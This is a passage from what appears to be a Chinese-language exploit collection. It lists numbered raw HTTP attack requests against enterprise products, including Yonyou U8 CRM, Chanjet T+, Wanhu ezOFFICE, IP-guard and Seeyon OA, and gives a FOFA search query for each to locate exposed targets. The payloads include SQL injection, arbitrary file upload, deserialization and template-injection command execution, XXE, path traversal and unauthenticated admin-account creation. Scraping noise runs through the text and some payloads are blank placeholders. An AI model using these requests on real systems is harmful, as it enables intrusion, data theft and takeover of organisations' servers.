User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) A0 ^9 ?1 N; V5 K6 ?If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
* J9 z# K7 F( AConnection: close



48. 用友U8 CRM swfupload 任意文件上传
9 @; v  i9 P/ u$ p7 JFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
/ t- J' p7 S7 {" K1 RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! I/ M* S% @! z# A/ d; B& MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 c/ q' z. k8 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
8 p% O, a& \& _$ n------269520967239406871642430066855
1 g: X% l, m) T$ h/ X9 L8 iContent-Disposition: form-data; name="file"; filename="s.php"
# u* x. ^  e$ K( S+ _3 }1231
9 H! v0 V, `; H3 M! O  AContent-Type: application/octet-stream
4 u' v+ z% l% ~5 V5 y------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
3 U  W5 }9 s# J. M* n3 E  E
' A( P. _5 n8 V1 ~; v6 {0 z6 t1 ?
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
* P% ?! z5 B& M" ~FOFA：body="用友U8CRM"

8 j5 `- B5 ]. b& D# v2 EPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 k6 k) x, ?! C3 C$ pContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' q  m4 v, Z6 r4 F/ SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 G4 t3 h. G- iContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
( F& C. ?- {$ e1 [6 ~: t
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
" k* x6 S% K" y9 B0 ^2 AContent-Type: application/octet-stream
3 m' r( V% r+ M" b' D3 W8 B
& v! i; A* y$ J) K  k3 y+ Lwersqqmlumloqa
' ]; ^3 U3 z. @( E7 z-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
7 w2 k7 b, ]4 y, {, I3 D
1 p/ \+ s7 W4 C* P* Qupload
- x. g# n1 N9 H$ d; y1 v" }% ]-----------------------------vvv3wdayqv3yppdxvn3w--
$ U3 G4 `3 @/ P% ~+ M% C) L
5 A% H' v8 x8 m1 Y& m
; u2 X7 U6 r8 ~" O3 G, b& T1 Y+ ^http://x.x.x.x/tmpfile/updB3CB.tmp.php
0 E; `" J5 J* x* }
* w/ F- y6 B! U8 T50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
% j' p& d" y' D0 \  G  M6 lHost: x.x.x.x
: \0 h( ?$ E- M( AUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- t4 k2 O4 {  c/ C' [; D5 bConnection: close
Content-Length: 224
+ V: H" E! {: _1 K: K& LAccept: */*
: E( l) }* ]( E: OAccept-Language: en
! h& j" ^7 z6 G/ C4 @0 NContent-Type: application/x-www-form-urlencoded
7 c3 ?  k2 f8 p! p5 z9 ZAccept-Encoding: gzip
3 K0 R* I4 E8 r" c6 B
1 M$ I, [) \; D9 i7 J, Q, R- ysearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
" d, v: N$ l4 I- j/ h

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
1 X9 t( g. e6 w: Q+ h2 A6 }% OFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
: s% m$ ~: }' ~; M& `8 D! fUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
  F) v( C9 V! O+ e* xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& ~( Q4 G6 O; X- K1 }, M: gAccept-Encoding: gzip, deflate
1 a0 d; r5 G  A9 c; C4 ~: fAccept-Language: zh-CN,zh;q=0.9
5 y2 s1 ^( o% {& _/ X# x, T3 K" }Connection: close

1 g4 [* n% A% _! f! C7 ^( f
! y1 e. p1 _# \3 k8 o52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' g- E0 k, Z" w: ZConnection: close
Content-Length: 87
Accept: */*
$ |* n0 t7 [# D2 C( F* g9 s* dAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
+ @2 P/ a" i# T6 k
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

: A. y+ n) ^, w" z/ [
8 Z9 {  Z1 ^# g7 p: Y- {2 V53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


: k7 P2 y# T2 s% d54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

$ Y; d' u$ n% y# _: k; T1 H
+ M/ }- P2 J: C. h. Q完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
; K$ u5 U! ?4 f  y2 o7 |+ zUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
1 ]& e: P  w/ A6 n. k' W( ~; nContent-Length: 593

{
: o, Z/ \  \  A3 g"storeID":{
* O# b) H3 t8 V+ r: [0 M4 @" ]0 g "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
8 N6 G# x$ _; e! C+ t0 q  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
% ]& z- A8 E& {$ |) S& j   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
# T: Y9 V7 ?- U  Y! Z  m/ U( R    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
8 h: g1 ~3 ]  J7 d8 C: f    }
1 o9 q8 x$ a0 y" X7 @8 _( `  }
. i8 w$ R2 z9 s/ n2 m9 [% K" {+ d  }
}

0 G& y1 q& M6 p1 R& M7 a7 ]7 A6 Q
第二步，访问如下url
+ U% @- E  {" g. Q4 V6 M/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
+ Z- t2 P4 w/ t+ \6 V3 K7 r

55. 畅捷通T+ getdecallusers信息泄露
6 g% R; W; Y( z; uFOFA：app="畅捷通-TPlus"
, N* _+ N& R5 d& g3 C) e' R第一步，通过
  d: Z6 O+ C: H7 X( t  u# Y/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
' n9 ?; i1 E3 _7 b& `9 Q第二步，利用获取到的Cookie请求
4 c- g% P) H+ _2 B( O/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
  X1 f$ @* o0 TPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 f* i& Z: [9 d/ J9 PContent-Type: application/json
, R( T6 M9 C7 y) ^6 {) p
6 d2 }% J1 Y. m# a. K{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
* A: S9 L) V9 @& x, T$ @    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ K( o$ f0 L: Q7 ?3 h           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
9 V/ Q$ h  X6 _6 ]: Z    }
  }
: H2 H( |- b( f}

! K( Y6 l  _+ v! u' ]3 K# D( [
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 @8 j2 ?' y9 j3 V. ^5 SAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
& m7 n9 B3 {" a8 o4 ]
+ b5 B$ M, W6 m6 S7 p* O& r
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
. E' ~, G1 t3 G9 k' N) I# Q  f" wGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
0 G6 ~. l+ ~" y# y: c9 YHost: your-ip
* d5 u) t  p) B5 ZUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
8 O! ]6 Z2 ]4 u& {Accept-Encoding: gzip, deflate
Connection: close
9 l) p  m- Y% n/ h

: N. B- k% j0 O8 V59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
2 y+ s( r' T# b) S4 ZPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
  I3 o, e: s2 s- s" QHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
: y% L8 C3 B: F3 g" Z/ K9 y; KAccept: */*
3 i1 p- d  L4 a5 q$ K! DAccept-Language: en
4 Y0 s$ f4 q5 nContent-Type: application/x-www-form-urlencoded
6 J  x8 q. w  q3 f7 l6 LAccept-Encoding: gzip

4 p* a* t8 ]% M  X8 @  s3 RPAYLOAD


% @8 _/ Y" s( q' z% Q' Z6 o60. 百卓Smart管理平台 importexport.php SQL注入
  b0 s: P% F& X: V0 NFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
- |( }! O, p4 N1 EHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: W$ u1 M# ^3 j, Z8 u) H* M9 BConnection: close

% {- m! `2 v3 f
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
# c- U9 `! R% h9 y8 C6 `$ cPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
" O# d4 }- }0 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- j* }  e3 p1 P- {: q9 eConnection: close
5 ^# S/ X6 y. lContent-Length: 27
0 R6 K6 t+ `' r# KAccept: */*
: Z3 a" B6 s3 uAccept-Encoding: gzip, deflate
Accept-Language: en
( d, e$ h  o# X0 b2 _( V& `Content-Type: application/x-www-form-urlencoded
2 V) d! S1 }* @; x1 h
8uxssX66eqrqtKObcVa0kid98xa

- `7 o$ c, R8 p6 ?; U! X
, |' a6 K5 t7 O6 \, H( T! P0 l62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
# a3 |) E+ U4 b: h) i( vGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
" x, k1 A1 W( c, p7 q; K6 QConnection: close
; {( N$ v1 N- ~1 sAccept: */*
Accept-Language: en
Accept-Encoding: gzip

3 ?9 F/ _4 z3 k1 y8 [
) Y2 t' P/ Y# k% Q5 `访问
, [# z3 ~3 ?/ H
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


4 v! Q5 p! }) E63. IP-guard WebServer任意文件读取
4 H/ n5 o2 f/ H. D$ }' y) \+ p9 jIP-guard < 4.82.0609.0
5 S: R: I. `2 D, t  C% }  i  uFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 H: ?" b- ?' e" y. ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; `7 g7 \/ W( l" f# SContent-Type: application/x-www-form-urlencoded
% M, u# R3 \- ?( N
+ i5 j; f" ]  d1 x8 Wpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
4 p" T( {' s0 U+ j6 S1 t& K8 w
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
$ ?* F' ~' Z- b/ a$ @9 t0 F) ]POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
- Z3 b9 u, a/ J8 f3 G: ^( E. |/ q( jUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
  e( E2 V  E0 f9 x) p5 I; [! hAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
, Z5 Z# \3 Y; S4 v4 EAccept-Encoding: gzip

- Y0 R" {2 |# |. O<?xml version="1.0" encoding="utf-8"?>
" w/ _4 K1 p" n8 K0 v6 z/ F<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* r( x% q. ~, @<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
- E7 l! O+ O& U: t" j      <sId>1';waitfor delay '0:0:5'--+</sId>
) L& i3 k8 d' `3 D+ A2 @    </GetOSpById>
  </soap:Body>
</soap:Envelope>
$ a: S; W1 g2 i1 _/ t# V
4 n7 k* P; J1 h: X) k) d
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
3 e( j1 g/ v( J' yHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
; ]% C. }6 X& n- Z$ Q& c2 \( DConnection: close
0 M; I( d8 S& v, @Accept-Language: en
+ g# l! Z4 _4 e/ ?1 a1 P; nContent-Length: 174
' W" k2 o4 o0 X4 L7 l: v
2 W8 n  Z) i/ z( N/ r8 ~operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

7 H4 s0 t- M: x9 q8 {8 S# @
6 d7 n& T: S8 }7 L: p. |66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
9 }+ O6 }* t$ U1 x3 }1 BFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
8 n& k) A; A! q& `" VAccept: */*
Accept-Language: en
5 F& {, m' E3 M8 a- g' h- gAccept-Encoding: gzip
3 ?* [( K- l( J  U) I& A8 y
1 i' `* t, R, D
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

7 `9 D( v+ V- [+ r5 b' p5 `67. 万户ezOFFICE wpsservlet任意文件上传
: D( v( |  M8 t! T+ ]FOFA：app="万户网络-ezOFFICE"
$ d: l" d8 m% M7 Y, [# YnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
: Z3 M4 E4 }7 T3 ]# [  YUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
4 |3 `; ^7 S0 E* P. e$ BContent-Length: 173
! Y4 z5 n* h( g% L, [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ P, M, |( g$ z  E+ r5 JAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
* x1 L6 d5 g7 JConnection: close
4 R% e* i4 V; @# ]Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
2 _* z" J3 r& @$ N4 X! t: I
--ufuadpxathqvxfqnuyuqaozvseiueerp
; D2 @9 N- [" aContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

3 B7 d2 K; f! r, Y; O
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
: u7 Q  d5 ^4 X( \. B& P: Y; ~
& H& t: X2 y2 f4 }, O; D! f7 Z/ y68. 万户ezOFFICE wf_printnum.jsp SQL注入
# j( V" i2 o' \! A2 VFOFA：app="万户ezOFFICE协同管理平台"
# Q4 M$ _7 c* FGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& {4 T3 Q; v% D% o  fConnection: close
2 R$ H: `8 ^( @: m
$ ^( n4 p4 @& R5 f! l
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
, l$ w3 k0 f- D, A' \6 @* |GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
" S/ V! |/ o/ r" s6 N! }Host: your-ip
7 b+ z" c( r, F* yUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


) T# s# w$ j9 h70. 万户ezEIP success 命令执行
; d& U3 d# n, x6 F( QFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
2 ^2 l" q8 \; D5 {6 K0 `8 R2 p$ uTYPE: C
: D- T5 Z- v- J" M& @Content-Length: 16702

__VIEWSTATE=PAYLOAD
. ~4 `( }" L6 y2 V5 _3 f* y$ o
  s# A2 s6 z5 B2 }/ @6 t0 c5 x& A
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
& I8 P- _9 |1 Y7 r  jGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
# `  B8 K+ {: YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 \8 u$ h2 \2 E! T" dUpgrade-Insecure-Requests: 1

0 `  C/ t5 C/ A. a
' m/ F: V# {' o72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
6 R7 B- J. p9 {, LHost: 192.168.40.131:8099
/ P) X- K# c/ R4 \- F) @" N$ @User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
* @8 j( U/ G# Q! I/ qAccept-Encoding: gzip
+ D9 T( ]" Q/ t+ E/ _7 Y# U+ |3 y0 A
5 r. A6 t! M4 ]# y9 a+ iS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
# y' G- ]# t/ L! l
" F. Q! b: T/ r  R% b
* d+ A. P5 \2 r* O2 m" F( A73. GeoServer wms远程代码执行
! L  E8 y; B  J+ U/ rFOFA：icon_hash=”97540678”
: p9 e/ Y6 e  S1 V  J+ ?7 T7 dPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
, U3 ]6 R$ K5 I' I' U- q7 G: Q& W, k/ SConnection: close
8 ]7 L! |. }$ BContent-Type: application/xml
# W" T0 ^) O' A; x6 kSL-CE-SUID: 3
0 [# A# I# s) C  R) f/ t
& `0 }6 z* i1 w% WPAYLOAD

( T7 r* }0 i; j2 I; ~/ Q" h
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

& z  Q: O9 H# t2 S) Z: M75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
0 v* P: R$ q& Y8 UGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
) }( _3 X+ F! C; [- T/ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
7 ^' J1 H. y2 d6 {, cAccept: */*
Accept-Language: en
# K3 P9 @% u6 p3 T8 zAccept-Encoding: gzip

: W9 y' K; ]2 ^% k! x( @
. p) g0 K0 G  e$ N) cGET /cgi-bin/test28256.txt HTTP/1.1
' ]/ T4 R$ }4 }, Z6 EHost: x.x.x.x
5 ^; A. B/ A' G4 c2 b
, ]# o) _/ c* Y: ^4 X6 B+ p+ h
76. 新开普掌上校园服务管理平台service.action远程命令执行
! q) s2 S! L( ]- ^) {' ]  ?4 PFOFA：title="掌上校园服务管理平台"
/ K4 `' d+ Z! N8 T3 \POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
+ H* Z5 g% S+ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
7 p3 w; f$ c! y# P! Q4 `0 F( @Connection: close
3 `0 v, n9 ]3 w: c9 }# k. w+ nContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 E  l6 v0 u& w+ T/ `Accept-Encoding: gzip, deflate
% m( t4 Z' b* A% B, uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 X; I$ \. G7 R# n9 eCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
' Q; R/ I7 m% E4 {! Z2 e9 ^( o6 _
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
; T2 Q& ^2 \2 q% D" Q}

! W  ?& y: r! O+ J! ~' N1 b$ [
1 v) F& r& |2 NGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



( L( n# i6 |4 o" \& k* J77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
